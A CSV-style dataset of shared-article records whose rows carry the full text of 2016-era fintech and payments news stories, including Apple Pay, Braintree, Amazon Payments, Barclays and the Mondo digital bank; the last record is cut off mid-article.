1460121853,CONTENT SHARED,7578709204835512162,-6316613156648676087,5673696108944885080,,,,HTML,http://letstalkpayments.com/how-did-q1-2016-go-for-fintech-around-the-world/,How Did Q1 2016 Go for FinTech Around the World?,"The team has been actively following the investment activities in FinTech around the world for the last three months ( , & ) and it's time to sum up Q1 2016 with respect to FinTech. In this overview, we have considered all financing cases excluding mergers and acquisitions. In total, in Q1 2016, $8.494 billion have been scattered across 367 funding deals and seven segments. A total of 590 investors, among which are large corporate players, have ensured the investments across these deals. Investments in FinTech in Q1 2016 (by representation) As expected by the results of the three months, banking/lending was the most attractive segment for investors as 28% of companies that raised funds are classified into the category. Payments/loyalty/e-commerce companies are holding the second place with 23% of the companies operating in the segment. And the third place belongs to securities/capital markets/wealth management companies (19%). Companies that have substantially lower representation are from financial management solutions (13%), FinHCIT (9%), insurance (6%) and financial BPO (2%). Investments in FinTech in Q1 2016 (by the funds raised) Even though banking/lending is represented by the largest number of companies, payments/loyalty/e-commerce companies have attracted almost half of the funds - 46% (almost $4 billion). Banking/lending companies have raised 30% of the funds (close to $2.6 billion). Substantially fewer funds have been raised by the rest of the companies ($2 billion in total). The most funded FinTech companies globally in Q1 2016 In absolute numbers, a significant part of the total funding in Q1 2016 went to just two segments: banking/lending and payments/loyalty/e-commerce. Disappointment can be expressed about the insurance segment, which-despite all the hype around InsurTech-attracted the least funding: $131 million. Combined with FinHCIT, there was a significant funding ($830 million), but better times for InsurTech are still ahead. Meituan-Dianping , China's largest group deals site, was the one that raised the most funds in Q1 2016. The Asian giant has attracted almost half of January's total funding from Baillie Gifford , Capital Today , DST Global, and others. is the largest online P2P marketplace in China that connects borrowers and investors. The company has raised $1.2 billion from COFCO Group and Guotai Junan Securities . is disrupting traditional credit services in Greater China and operates WeLend.hk in Hong Kong and Wolaidai, a mobile app, in China. The company has attracted $160 million from Guangdong Technology Financial Group, ING Group NV and Khazanah Nasional . is the UK's leading provider of document digitization services with a nationwide network of specialist facilities. BlueBay Asset Management and Lloyds Banking Group have invested $145.1 million in the company. is the leading provider of financial solutions for healthcare professionals of all kinds. The company has attracted $114 million from the Pinnacle Bank . Corporate investors Now experience the full power of the LTP knowledgebase on this and all other FinTech topics. MEDICI, now in beta, is the discovery and engagement platform for FinTech startup research. Register here and find out if your company has already been profiled at medici.letstalkpayments.com Latest posts by Sofia ( see all )",en
1460122006,CONTENT SHARED,-5578229678262992168,-6316613156648676087,5673696108944885080,,,,HTML,https://www.yahoo.com/tech/shut-up-don-t-take-1393363998662710.html,Don't take my money: Why mobile payments haven't taken off - yet,"A buck says you won't buy your next tank of gas or bag of groceries with your phone. Given all the hype about Apple Pay , Android Pay and Samsung Pay - the three major mobile-payment systems that let you pay by touching a smartphone to a credit-card reader, while leaving your wallet in your pocket or purse - you might think that's a sucker's bet. But all that publicity has yet to translate into large-scale adoption. Slow going The fact is, as of October 2015 (according to the latest quarterly survey conducted by PYMNTS and InfoScout ), just 16.6 percent of iPhone 6 and iPhone 6 Plus users had tried Apple Pay. And of those iPhone users who had tried Apple Pay, only 35 percent said they used it regularly - down from 48 percent six months earlier. A second survey by the mobile-research firm Crone Consulting found equally discouraging numbers for Android Pay and Samsung Pay. Among the 5 million Android Pay users, only 1 percent used it for at least two transactions a month; among 5 million Samsung Pay users, just 4 percent used it that often. (As for Apple Pay, Crone estimated 12 million users, of which 6 percent met that two-transaction minimum.) ""Repeated and consistent use is stalled,"" IDC payments analyst James Wester said in an email. ""That means it's still a novelty to most consumers - something they use once to try it but don't use it as a replacement for cards."" With good and bad reasons The biggest virtue of phone payments - the security enabled by a smartphone app that doesn't transmit your real credit-card number - is invisible in practice to the customer. And when traditional cards get compromised in a data breach , you aren't stuck paying fraudulent transactions anyway. (You are stuck with the inconvenience of changing saved card information across the Web - an annoyance I'm dealing with now, after an online purchase made with one of my cards at a Ukrainian merchant I've never heard of.) The InfoScount/PYMNTS data suggest many users are confused on that issue: The latest survey found 18.7 percent of Apple Pay holdouts had security concerns about one of the most secure payment technologies available. More importantly, many retailers have yet to accept phone payments. Infamously, CVS and a few other retail chains disabled the feature in their stores in a doomed attempt to push a competing mobile-payment system called CurrentC . That system relies on scanning QR codes instead of using the Near Field Communication (NFC) short-range wireless technology employed by Apple Pay, Android Pay, and Samsung Pay. Samsung Pay can also emulate a credit card's traditional magnetic stripe , allowing you to hold your phone against a credit-card reader and see the transaction completed wirelessly. That's a genuinely neat trick. But as my colleague Daniel Howley has noted , Samsung Pay remains a nonstarter at gas pumps and any other card reader that requires inserting a card. There's also the pesky problem of restaurants. Until U.S. establishments adopt the overseas practice of having a waiter or bartender bring a card reader to you, you'd have to hand over your smartphone to the staff to pay using this method. Finally, once introductory promotions - such as the $30 gift cards Samsung offers to Galaxy S7 and S7 Edge owners who make a Samsung Pay purchase - expire, you rarely save money by paying with your phone. (Note that on Verizon's versions of those phones, Samsung Pay isn't pre-installed, so you'll have to download it from the Play Store yourself - as if mobile payments needed any more speed bumps.) Change will come ... slowly This is not to say that mobile payments are doomed to remain a curiosity. If you look past the big three NFC-payment apps and include chain-specific payment apps (such as the one from Starbucks), its prospects look brighter. Factoring those in, Crone founder Richard K. Crone said in an email, ""Mobile payment is growing 10 times faster than mobile banking ever did, accelerated first by retailers, and we are just getting started."" Jason Oxman, CEO of the Electronic Transactions Association , called for patience - ""like all technology migrations, mobile payments adoption takes time"" - but also pointed to an eMarketer study that predicted a 210 percent increase in the total value of U.S. mobile payments this year. Oxman added that, as stores upgrade their credit-card readers to support the EMV chips in new cards , that new hardware also often includes NFC support. In some cases - hello, Whole Foods! - retailers have enabled NFC payments while leaving EMV support off. Wester and Crone predict that mobile-wallet apps that reward frequent customers with personalized offers will get more people to pay with their phones. I might as well note here that I'm part of the problem. The only times I've used my phone to pay for things that didn't constitute story research have been in Chicago , where paying with my phone at an El fare gate lets me avoid the 50-cent surcharge on paper tickets. (Washington's Metro officials have been trying a similar NFC-compatible system, but that project has stalle d.) Wester confessed that he, too, is a situationally apathetic about mobile payments. ""I still use the Starbucks app consistently (thanks to rewards),"" he said. ""But otherwise I have to remember to use my phone.""",en
1460122681,CONTENT SHARED,7323176445666562417,-6316613156648676087,5673696108944885080,,,,HTML,http://www.businessinsider.com.au/facebook-wants-to-change-the-way-australians-use-mobile-banking-2016-4,Facebook wants to change the way Australians use mobile banking,"Social media behemoth Facebook is looking to partner with Australian banks to explore opportunities in mobile banking, in a move that could radically change the face of retail banks. Paul McCrory, head of financial services Australia at Facebook, said the $428 billion tech giant has built ""huge mobile platforms"" that see 11 million Australians a day. Facebook sees opportunities in leveraging that scale to do business with Australian banks. ""Banks are mobile businesses as well, except they also have legacy [systems] that sit behind them. How do we help partner with this vast scale we've got, to help a bank, for example, drive digital options?"" Mr McCrory told The Australian Financial Review's Banking and Wealth Summit in Sydney on Tuesday. ""How do we help the banks drive more and more people to use mobile services of some description, rather than having to go to a branch?"" Facebook does not have any immediate ambitions to roll out systems that compete with Australian banks - but it is increasingly dabbling in the payments arena overseas. Last year, Facebook unveiled a new payments feature for Facebook Messenger users in the United States, allowing users to make person-to-person payments by adding their debit card details on the Messenger service. Commonwealth Bank of Australia launched a Kaching app for Facebook in 2013, which allowed CBA customers to conduct their internet banking without leaving Facebook, but it was a flop and was ultimately canned. Colin Barnard, the industry leader for finance at Google Australia, told the summit the global search giant would look to enter financial services only when it can create global scale and create a clearly better experience for customers. He flagged Android Pay, which is expected to launch in Australia soon, as an example of where Google could add value, but he said the company was not interested in entering industry verticals in particular countries. Important role in fostering innovation Mr Barnard said regulators and government ""have a really important role to play"" in fostering innovation and commended the Reserve Bank of Australia for driving the banks to create the New Payments Platform, a new piece of open-source infrastructure being built that will move the payments system to real time. ""When regulators do things to stoke innovation, which the government is trying to do, I think that can be a real force for good,"" he said. However, he pointed to regulatory requirements that various data be kept on servers in Australia as inhibiting the roll-out of Gmail in Australia's banks. ""I am a bit concerned when I talk to financial services companies. I get a lot of [responses that say], 'I would love to do that but ...' - and the but is usually the regulator."" The global technology giants were also sceptical of the ability of the incumbent banks to fend off the threat of disruption. Mr Barnard said ANZ's poaching of his former boss Maile Carnegie to become head of digital banking was a sign of good intentions, but he predicted the size of the bank might make it difficult to innovate at pace. Mr McCrory said banks had been talking for years about using data to enhance customer experience ""but I am yet to see it"". The comments come after Ken Henry, chairman of National Australia Bank, told the summit on Tuesday that ""all of the roles played by banks are contestable"". Dr Henry said the $67 billion NAB has pumped funds into simplifying its technology platforms, slashing complexity and improving its digital interaction with customers. This story first appeared at SMH Business Day . Follow us on Facebook . Follow Business Insider Australia on Facebook , Twitter , and LinkedIn",en
1460122994,CONTENT SHARED,-1804728901674946596,-6316613156648676087,5673696108944885080,,,,HTML,http://www.thememo.com/2016/04/05/barclays-finally-launches-apple-pay/,Barclays finally launches Apple Pay | The Memo,"Just 24 hours after we reported on Barclays missing its own Apple Pay launch deadline , the bank finally flicked the switch and activated the service for the first time. Barclays was the last of the big four UK banks to adopt the service, to the disappointment of their customers, many of whom who took to Twitter over the past 9 months to vent their fury: @Barclays misses #applepay date again. Had enough of waiting, time to switch banks to one that's IN THE 21st CENTURY!!! &#x1f621;&#x1f621; - Patrick Sheppard (@dj_paddy_bhe) April 3, 2016 @Barclays if we missed our deadline for a service/payment you'd charge us. You've missed your deadline for #ApplePay ...Should we charge you? - Phillip Clark (@Djphillymix) April 3, 2016 @Barclays when will Apple Pay be up and running? It's honestly making me consider leaving #Barclays - Mr Mqueen (@mr_mqueen) April 4, 2016 Apple Pay goes live In a bland press statement , Ashok Vaswani, CEO of Barclays UK, said: ""We are passionate about helping customers access services and carry out their day to day transactions in the way that suits them."" ""As part of this, we have developed a range of digital innovations that allow people to choose how, when and where they bank and make payments. Adding to the existing choice, from today both Barclays debit and Barclaycard credit card customers can use Apple Pay to make payments with their Apple device across the UK."" There has been no mention of why it took the bank so long to adopt the technology or whether Barclays will roll out Google's long-awaited Android Pay system, due in the UK in a matter of months. Fingers crossed. Read more: Apple Pay holdout Barclays offers new ways to pay",en
1460123184,CONTENT SHARED,-5452374239565071760,-6316613156648676087,5673696108944885080,,,,HTML,http://techcrunch.com/2016/03/31/blispay-the-financing-program-for-smbs-raises-12-75m-in-seed-funding/,"Blispay, the financing program for SMBs, raises $12.75M in seed funding","Big box retailers like Best Buy and Target have all kinds of financing card programs for their customers. But smaller and medium-sized merchants have no way to give their customers the same kind of financing plans. Until now. Blispay is a new startup founded by Greg Lisiewski , formerly of BillMeLater, which was acquired by PayPal for nearly $1 billion in 2008. From that point, he served as global head of credit products at PayPal until the past year, when he went on to found Blispay. The Baltimore-based company, which just received $12.75 million in seed funding led by FirstMark Capital, with participation from Accomplice, NEA and TriplePoint Capital, is now ready to come out of stealth. Here's how it works. Blispay signs on with merchants to offer financing programs that are free for the merchants and require no extra time or energy from the retail associates. These merchants simply hang signage that explains to customers that a financing plan is available to them. When a customer walks into the store and either can't, or doesn't wish to, pay for the item in full on the spot, they can sign up for Blispay on their phone. The sign up includes a few minutes of fine-print reading and asks the user to include their name, email, password, phone number, address, DOB and Social Security number. From there, it takes under a minute to either approve or decline the application for financing in most cases. If accepted, the user can buy the item on the spot using their mobile phone, getting six months of interest-free time to pay for the product, if paid in full. After that six months, the user will pay back the loan on a 19.99 percent interest rate, which is relatively lower than the average 26 percent for other financing programs from big box retailers, but slightly higher than a traditional credit card (average 17 percent interest). What's more, after the user goes home with the initial product, they receive a Blispay Visa card in the mail to use on other purchases. The same six-month-interest-free deal applies to all purchases over $199, but the card can also be used for every day purchases like Starbucks, etc. The card also offers a flat 2 percent cash back program on all purchases. Lisiewski explained that Blispay accepts the majority of applicants, but remains responsible with whom they offer credit so that the majority of those that use Blispay will be able to pay off their debts in the allotted six months. On the backend, Blispay partners with a Utah-based bank called First Electronic Bank. When the original purchase goes through, First Electronic Bank pays Visa, which pays the merchant the next day, with both entities taking a small transaction fee. A few days later, Blispay buys back the loan and bills the customer directly, receiving 100 percent of the purchase price, which is the way they generate revenue. Beyond that, they also receive most of the interest for users who either can't or don't wish to pay back the loan in the first six months. Lisiewski says that Blispay has enough runway to set up programs with a few dozen (less than a hundred) merchants, but that the long-term goal is to be able to expand rapidly after picking up both merchant and consumer adoption. You can learn more about Blispay here .",en
1460123280,CONTENT SHARED,-8763351865833452031,-6316613156648676087,5673696108944885080,,,,HTML,http://techcrunch.com/2016/03/31/paypals-braintree-auth-launches-to-bring-its-payments-platform-to-more-merchants-service-providers/,"PayPal's Braintree Auth launches to bring its payments platform to more merchants, service providers","Following yesterday's news of Square's entry into the online checkout space, the PayPal-owned payments platform Braintree today announced the launch of Braintree Auth . The system lets e-commerce platforms give their merchants easier ways to enable payments on their online storefronts. It also lets service providers access customer and transaction data on merchants' behalf. The move signals Braintree's attempt to expand its reach into the SMB market, as competition with startups like Stripe heats up. Braintree says that it has already partnered with several large e-commerce platforms, including Bigcommerce , WooCommerce , and 3DCart , as its new service launches into private beta here in the U.S. With Braintree Auth, e-commerce platform owners, as well as shopping cart providers and recurring billing services, can now make it easier for their merchant customers to accept credit cards, debit cards, and PayPal payments on their own storefronts through a single interface for shoppers. The system also introduces a secure way for shoppers to store their cards with a website, then have those cards shared with other connected merchants also using Braintree to power their payments. To get started with Braintree Auth, these platforms' users (merchants, that is) either create a new Braintree merchant account or sign in to their existing account, using Braintree's mobile-optimized form provided via a ""Connect with Braintree"" button. When setup is complete and they've enabled credit, debit and PayPal payments, they're then directed back to the partner's website. In addition to the above market of e-commerce platforms and service providers, Braintree Auth also has advantages for those businesses that provide invoicing, accounting and analytics services to merchants, Braintree notes. Through the new platform, customers of those types of businesses can connect to their Braintree and PayPal merchant accounts, then grant those businesses the ability to access the customer and transaction data they've collected. During Braintree Auth's setup, credit cards, debit card payments, and PayPal payments (including support for Express Checkout with PayPal One Touch ) are enabled by default. However, once connected, partners can take advantage of the Braintree SDK integration to expand the types of payments their merchants can accept. That means merchants could choose to offer Venmo, Apple Pay, Android Pay, Coinbase and other, more innovative checkout options to customers that arrive in the future if they choose. Of course, Braintree already has experience enabling payment systems like these for other platforms. For instance, it powers Facebook Messenger's transportation platform , which allows Messenger users to order an Uber from within Facebook's Messenger app. Braintree (along with Stripe) also powers Pinterest's Buy Buttons , launched last year. Braintree says that the new Braintree Auth platform is available today but only as an invite-only beta in the U.S. for the time being.",en
1460123314,CONTENT SHARED,4273365516830385867,-6316613156648676087,5673696108944885080,,,,HTML,http://techcrunch.com/2016/04/04/amazon-takes-on-paypal-and-others-with-launch-of-amazon-payments-partner-program/,Amazon takes on PayPal and others with launch of Amazon Payments partner program,"Amazon announced this morning a plan to spread adoption of its payments service, Amazon Payments, to more third-party websites. With the launch of its Amazon Payments Global Partner Program , the retailer will help e-commerce platform providers and other developers integrate with Amazon Payments so their own merchants can offer the option to ""Pay with Amazon"" at checkout. Already, Amazon Payments can be used by individual merchants who can choose to integrate the company's tools, like ""Login and Pay with Amazon,"" in order to offer an easy way for online shoppers to authenticate with their Amazon account information on a third-party website, then pay for their purchases with the credit card information they have on file with Amazon. The idea here is that merchants could tap into Amazon's already sizable user base, and then eliminate the need for these customers to create a separate username and password on the merchant's website. And by making checkout quicker, merchants could increase conversions and boost sales. With the new Global Partner program, however, the goal is to offer an expanded set of services to e-commerce platform providers themselves, instead of just individuals merchants. At launch, a number of partners have agreed to integrate with Amazon Payments, and then offer that option to their own merchants and sellers, including PrestaShop, Shopify, and Future Shop, for example. As partners, these businesses will be able to take advantage of a variety of services that include things like white glove integration, account management, planning support, technical resources and training, and more. They'll also be listed in a Partner directory, and some may also be eligible for co-marketing activities, says Amazon. The specific services and benefits will be determined by the partner's status, which falls under one of three tiers: Premier Partner, Certified Partner, and Certified Developer. The program is currently in an invite-only status in the U.S., Germany, U.K. and Japan. The news was announced at the Money 2020 event in Copenhagen by way of a release . The move is a clear signal from Amazon that it intends to ramp up its competition with other payment service providers, like PayPal, Visa, Apple Pay, and others, on the wider web. (Apple Pay is rumored to be coming to mobile websites this year.) This expansion also comes at a time when Amazon Payments has seen a surge in growth and adoption . Re-launched in 2013 after years of experiments in the area of online payments, Amazon said this January that transaction volume had grown 150 percent last year over the year prior, and average orders were around $84. Merchants using Pay with Amazon also grew by 200 percent in 2015, but the retailer didn't provide hard numbers. However, Amazon is able to continue on this same path, it could prove to be a notable threat to its competitors in the months ahead. The company has 285 million account holders, and some 23 million-plus have now used their accounts on non-Amazon websites.",en
1460123741,CONTENT SHARED,-634395794651424614,-6316613156648676087,5673696108944885080,,,,HTML,http://www.americanbanker.com/news/bank-technology/why-barclays-sees-bankings-future-as-an-information-business-1080128-1.html,Why Barclays Sees Banking's Future as an Information Business,"Bankers in the U.S. who have taken up the mantra ""we are tech companies in the financial services business"" ought to pay attention to what Barclays is doing. The London-based global bank formed an information business unit about 18 months ago to make the most of the massive amount of information it stores and fundamentally change the nature of its business. ""At its core is the belief that the data we hold is a strategic asset that is incredibly relevant. Not just to the business today but in the future,"" said Peter Simon, head of the information unit. ""If we take the power of the information we hold for our customers - since it is our customer's data and we are stewards of that- and create opportunities to give the data back to them in a way that is useful, that is very powerful."" So far, Simon's unit has rolled out spending analysis for consumers, local economic data for small business and, most unusually ( though not unheard of ) for a bank, digital identity management. Such offerings show how bankers worldwide are trying to expand the value proposition of digital banking. Up to this point, digital banking products have mostly been about enabling self-service, allowing customers to do on a mobile device what used to require a trip to the teller window. But now banks must move beyond simple conveniences and reimagine their relationship with the customer and its value, observers said. ""When you have a commoditized product, like many banking services have become, it just leads to price wars,"" said Mark Schwanhausser, director of omnichannel financial services at Javelin Strategy & Research. ""Banks have a gold mine of data and they have to figure out a way to get in there with a pickax and chisel out the nuggets and offer something no one else can."" A key component of Barclays' new business line is to take the lead on the roughly $1.6 trillion-asset bank's digital identity initiatives. The U.K. government launched a digital identity project last year called Gov.UK Verify where British citizens can log in and access government services and websites using any of eight approved digital identity providers. Barclays is one of the eight, and it is the only bank. ""As people become digitally engaged, they want to be able to validate who they are online,"" Simon said. ""As a bank we have a natural role to play in that."" Through Gov.UK Verify, Barclays' customers can use their bank credentials to authenticate themselves to access tax returns and other government services. Simon said the bank is working on an ""attributes exchange"" that would enable a person to show, using a mobile banking app, that Barclays has verified certain information about them. For example, the app could vouch that a customer is old enough to drink in a pub, so they don't have to show a driver's license with an exact birthdate, or confirm their last three addresses to a landlord, saving both parties time spent looking up old lease documents or checking references. Offering such a service will make customers more likely to stay with the bank and to use more of its products, Barclays is betting. Digital services like identity management will be a key for banks to offer as the nature of financial services changes, said Dan Latimore, senior vice president of the banking practice at the research firm Celent. In a world where nonbank firms can offer banking services, traditional financial institutions need to focus on data to offer services or insights that a fintech startup can't, he said. ""We have been advocating that banks take a look at the treasure trove of data they possess,"" he said. ""As they come under further attack from fintechs, they have to think about what differentiates them. I think what Barclays is doing is a great example of mobilizing the resources banks have and offering differentiating products and services."" Though consumers are generally wary of sharing personal information or having their personal data accessed, Latimore noted that in general ""they have shown they are willing to give to get. You just have to demonstrate what you are giving them is worthwhile."" Besides, banks are required to know increasingly more about their customers under stiffening anti-money-laundering regulations. Acting as identity providers, they might spare their customers from having to expose all that personal information to various other parties with weaker data security practices. In general, the U.K. has put a focus on using financial innovation for consumers' benefit . In 2014, the government put out a call for evidence on how best to deliver an open standard for application programming interfaces and to ask whether more open data in banking could benefit consumers. The government has since asked the banking and fintech industries to work together on the creation of a framework to introduce an open API and open banking standard in the U.K.",en
1460125774,CONTENT SHARED,-2250487690322202259,-2820994773540913369,6559511144685339975,,,,HTML,http://itforum365.com.br/noticias/detalhe/119329/qual-o-estagio-de-transformacao-digital-das-empresas-lideres-de-ti-compartilham-experiencias,Qual o estágio de transformação digital das empresas? Líderes de TI compartilham experiências,"Tema mais comentado do momento, a transformação digital ainda não decolou em muitas empresas, seja porque elas não estão preparadas para abraçar o novo ou porque não entenderam como, efetivamente, usar essa novidade nos negócios. Contudo, companhias que já contam com estratégias digitais saem à frente da concorrência e promovem uma verdadeira revolução. Esse é o caso da Tecnisa, Volkswagen Brasil, Klabin e AES Brasil. Os líderes de TI dessas organizações se reuniram em evento promovido pela Simpress, subsidiária da Samsung, para compartilhar experiências digitais nos diferentes segmentos de atuação. Na Volkswagen Brasil, o tema está em pauta há alguns anos, garante Gilberto Rodrigues, líder de TI da montadora. ""Trabalhamos com a integração de nossos carros com diversas tecnologias e a própria parceria que temos com a Samsung é um sinal de que a digitalização é vital"", afirma, completando que no backoffice a empresa também preocupa-se com o assunto. Recentemente, prossegue, a TI passou a digitalizar seus processos. A solicitação de equipamentos, como notebooks e smartphones, é uma das áreas a contar com o recurso. Qualquer colaborador pode acessar um portal e dar início ao pedido. A digitalização está a todo vapor na Tecnisa, que busca sempre inovar na forma de vender apartamentos e tornar o processo de compra mais confortável para o cliente. ""Fomos os primeiros em nosso mercado de atuação a comercializar pela web e levar o digital para o canteiro de obras"", diz Osvaldo Rodrigues, CIO da Tecnisa. Segundo ele, a ideia da transformação na companhia está atrelada ao benefício da produtividade. Como exemplo, o executivo citou a venda de apartamentos, que envolve muito papel, e a digitalização chega para eliminar a papelada e garantir agilidade. Hoje, o digital está presente no envio de notas fiscais, emitidas diretamente do canteiro de obras, tarefa que exigia intensiva interação humana e agora é feita em grande parte sem a necessidade de pessoas no processo. E quando a digitalização é aplicada ao um setor altamente regulado? Essa é a realidade da AES Brasil, que gera, comercializa e distribui energia elétrica para quase 8 milhões de clientes nas regiões Sudeste e Sul, em 24 municípios. Em razão da regulamentação, muitas vezes, a companhia perde o tempo para inovação. ""Assim, o desafio é desenhar uma nova estrutura organizacional e de TI que permita a transformação digital"", assinala Renato Costa, líder de inovação, arquitetura e relações de TI e negócios da AES Brasil. Dessa forma, a AES optou por primeiro mudar a TI e depois os negócios. Exemplo recente disso foi a conclusão da implementação de um sistema de faturamento em tempo real , na casa do cliente. Equipados com uma impressora de pequeno porte e um PDA, os profissionais da empresa efetuam a leitura do consumo do mês e imediatamente entregam a fatura. A Unidade de Resposta Audível (URA) da AES Brasil também se tornou totalmente digital. Quando um cliente liga para a companhia, o sistema identifica, automaticamente, se há ocorrências na região, como falhas no sistema elétrico. Imediatamente, o usuário é alertado sobre o problema. Quando resolvido, uma ligação é realizada para verificar se, de fato, a energia voltou a funcionar. ""A TI tem sido parceira do negócio, digitalizando tudo de fim a fim, automatizando e diminuindo gaps para o usuário final."" Definida por Lorival Verillo, líder de TI da Klabin, como uma tendência irreversível, a digitalização está presente nos mais variados negócios da produtora e exportadora de papéis. A área de manutenção é uma delas. Com 16 plantas industriais e cerca de 4 mil motores somente na fábrica de papel e celulose de Monte Alegre, no Paraná, a companhia precisa ficar de olho constantemente no status dos equipamentos. Antes, o processo era todo manual. Mas, agora, o mecânico usa um tablet para ler o código de barra do equipamento, fotografar o problema e abrir uma solicitação de manutenção diretamente no ERP. ""Obtivemos ganho de 40% a 50% no atendimento e atualização do sistema até a reposição de peças"", comemora o executivo.",pt
1460127856,CONTENT SHARED,-4833307637594287163,-6316613156648676087,5673696108944885080,,,,HTML,http://letstalkpayments.com/what-is-going-on-with-the-card-app-and-card-wallet-players/,Failing model: Plastic Card + App and Card + Wallet Players?,"In the last 4 years, a cluster of players in the payments space started combining a modern day tech with a tool that gained popularity in the 90s - a mobile app and a plastic card. These players were trying to overcome the barriers that mobile wallets face (plastic has more acceptance) in the evolving payments industry and enable consumers to make payments anywhere (ah! well). The concept met with some appreciation in the beginning (mainly because of media, social networks and kickstarter campaigns) but lost the plot somewhere down the line. So, what is going on with the Card + App and Card + Wallet players? Let's discuss the challenges these players are facing in the industry. Google Wallet Card: Google launched Google Wallet in 2013 amidst fanfare and had some cool features such as integration with Gmail to send and receive money using the Web, Gmail or an app. Along came a plastic card as well. The physical Google Wallet Card allowed users to make purchases at point-of-sale (in stores or online) with money stored in their Google Wallets. Not every merchant or retailer supported Google Wallet so the logic of adding plastic was to increase acceptance for merchant payments. The wallet card acts as an instrument for the consumers to use money stored in a Google Wallet at numerous retailers and merchants.The physical card extends Google Wallet's reach and provides flexibility to consumers to transfer/withdraw money and make in-store purchases at different locations without any constraints. It helped Google Wallet users to spend the money instantly, either by purchasing in-store or by withdrawing cash at ATMs, without having to wait for the money to be cashed-out (transferred) from your Google Wallet balance to bank account. Google is depreciating the Wallet Card at the end of April '16. It will be interesting to see if Google Wallet will continue to provide peer-to-peer transfer functionality and be accepted at fewer merchants or explore new digital payments. Ok so you get the plot of this story. Let me give some more examples... PayPal card: PayPal has been a dominant player in the payments industry for over a decade. Sources reveal that PayPal had planned the launch of a physical card along with an online payments app a couple of years ago. But the study suggests that the concept never saw the light of the day and the company focused on developing digital alternatives for payments instead. While the apps-and-plastic-card combination was getting a foothold in the changing payments industry, there was a buzz of all-in-one cards or multi-account cards with an app alongside. The multi-account cards allow users to store information from multiple credit, debit, loyalty and gift cards on a single device that looks and works much like a regular credit card. And now enters ""Coin""... Coin: Coin card, which was launched as the ""card of cards"" back in 2013, permitted its users to add all of their debit, credit, and loyalty cards onto one card and link it with the Coin app. The brand/product gained popularity in no time as it minimized the size of the wallet into a single card. In downtown NYC that season it was difficult to find a person not talking about the campaign by Coin.There were a few others like Coin that were launched before and after. The multi-account cards promised their simplicity and convenient tracking and budgeting features. As the time passed, the challenge for wallet cards or multi-account cards was to uphold the attractiveness among its consumers and provide enhanced solutions. In the beginning, the all-in-one cards received wide appreciation and acceptance for their simplicity and security. But with the passage of time and the litmus test of commercial acceptance, companies started to hit roadblocks as they tried to meet the expectations of thousands of users. Some of them were unable to deliver cards and some faced integration and compatibility issues at the merchants. A quick poll with those who got these cards revealed low usage. So where are we going with all this? Using credit, debit or prepaid card has been a convenient way of payment until recently. But the new-age consumer - impatient ones, who want everything in 2-4 taps or clicks - view cards as plastic clutter that add more items to carry around and are looking at benefits beyond that. The value-added services in addition to the payment services is what consumers are looking for and just offering a card along with the app might not be meeting the expectations. With mobile based payment offerings we have seen that you gotta do more. More than just the app plus the card. So let's look at a case study here of Curve: Curve: Curve like some of its predecessors makes life easy for consumers as it accesses all cards and accounts with just one PIN. But thats not the point. It allows users to make payments anywhere in the world without being charged hefty extras (FX and other charges). The Curve card is accepted in all the countries which support MasterCard's network - that's over 35 million places and access to super low foreign currency rates with no fees. O ne of the most attractive features of Curve is that it enables AMEX users to make payments anywhere even at places where AMEX is not accepted . The Curve app enables users to keep track of payments from all accounts and cards in real-time. The combined product allows NFC, EMV and all forms of payments. The reason of mentioning about Curve is that it is not enough to offer a vanilla card + app offering and assume that people will use it. You need to offer something more that attracts people to try out your product and keep using it. Solve problems that customers face. Such as FX rates and other charges when you travel internationally. Or that your AMEX card doesn't work at many places.Having said all that, I think the days of the plastic are far from over . And I hate to say that plastic won't be dead anytime soon. More people have credit/debit cards every quarter and are spending more with those cads. Mobile payments have taken the payments industry to a new level of convenience in payments. But the Mobile payments & wallet technologies are still in their infancy (or in their infancy of acceptance), but they are undoubtedly the future of point-of-sale transactions. The right chords have not been struck and it will take time. Mobile wallet initiatives by banks, telecom companies, financial technology providers and also governments across the globe are great steps towards better offerings. Trends indicate a strong new generation of consumer preferences for hassle-free and secure transactions that offer convenience and ease of use as well as attractive benefits. As newer technologies make it to the mainstream payments industry, we believe that the needle one day will completely move towards cardless mobile payments. Now experience the full power of the LTP knowledgebase on this and all other FinTech topics. MEDICI, now in beta, is the discovery and engagement platform for FinTech startup research. Register here and find out if your company has already been profiled at medici.letstalkpayments.com Latest posts by Amit ( see all )",en
1460128470,CONTENT SHARED,-1257839697539084047,-6316613156648676087,5673696108944885080,,,,HTML,http://www.theguardian.com/money/2015/jun/29/digital-banking-mondo-hopes-to-become-the-google-or-facebook-of-the-sector,Digital banking: Mondo hopes to become the Google or Facebook of the sector,"It was 21 May, and a historic moment for Tom Blomfield. Stood at a cash machine in Clerkenwell, central London, the ambitious young entrepreneur withdrew money from a brand new account with a new bank at which he was the only customer. Five weeks later, Mondo has 30 customers testing its prototype account. Blomfield - a former management consultant now on his third business startup, all before the age of 30 - said a crunch meeting with the Bank of England on Wednesday would determine whether Mondo gets the formal go-ahead to apply for a banking licence. The full process would take another six months. Mondo is one of a number of startups trying to tap into customers' increasing use of digital technology. Ahead of it is Atom, a Durham-based outfit that received its banking licence last week. Blomfield and other members of the Mondo team have come from Starling, another would-be digital bank. They are all eyeing the statistics trotted out by the main high street banks, Barclays, Royal Bank of Scotland, Lloyds Banking Group and HSBC. Branch usage has fallen 36% since 2010 , according to one, while the industry lobby group has predicted this will be the year customers use online technology more often than branches to access their accounts. At the same time, the high street banks are hoping that the new pretenders will show competition is thriving at a time when the industry is being investigated by the Competition and Markets Authority. Digital banks, however, are not for everyone. ""My granny knows her bank manager by name,"" said Blomfield. Mondo, by contrast, is ""for people who get frustrated if they have to wait more than two seconds for things to get done ... It's for people who live their lives on their iPhones"". Based in a loft-like space in Clerkenwell, Mondo shares an office with Passion Capital, a venture capital firm that has pumped £2m into the new business. Lady Kingsmill, the competition lawyer and former adviser to the Royal Bank of Scotland, has been signed up as chair. The business model clearly relies on a low-cost base. No branches and, Blomfield acknowledges, customers who will need to borrow. ""If you've got seven days left before payday and you've got £50 left in your account, it's not difficult to predict you are going to go overdrawn,"" said Blomfield. Mondo aims to let customers block their account until funds become available or borrow a sum, say £200, at prices in the middle of those being offered. At today's rates that suggests a 20% annual equivalent rate - roughly equal to that on a typical overdraft, but with no other fees to pay. The startups could offer notifications to customers such as warnings about going overdrawn, reminders of bills to pay and information about how they spend their money. Swiping his Mondo app, Blomfield finds he has used his card - which operates on the Mastercard system - in Pret A Manger 11 times in the past month. For people prone to losing their bank card, the app allows them to put an instant, temporary block on their plastic until it is located. To prove the point, Blomfield blocks his card using his iPhone, just as he puts it in the self-service till at his local supermarket. The card is declined. Moments later he swipes it back on from the 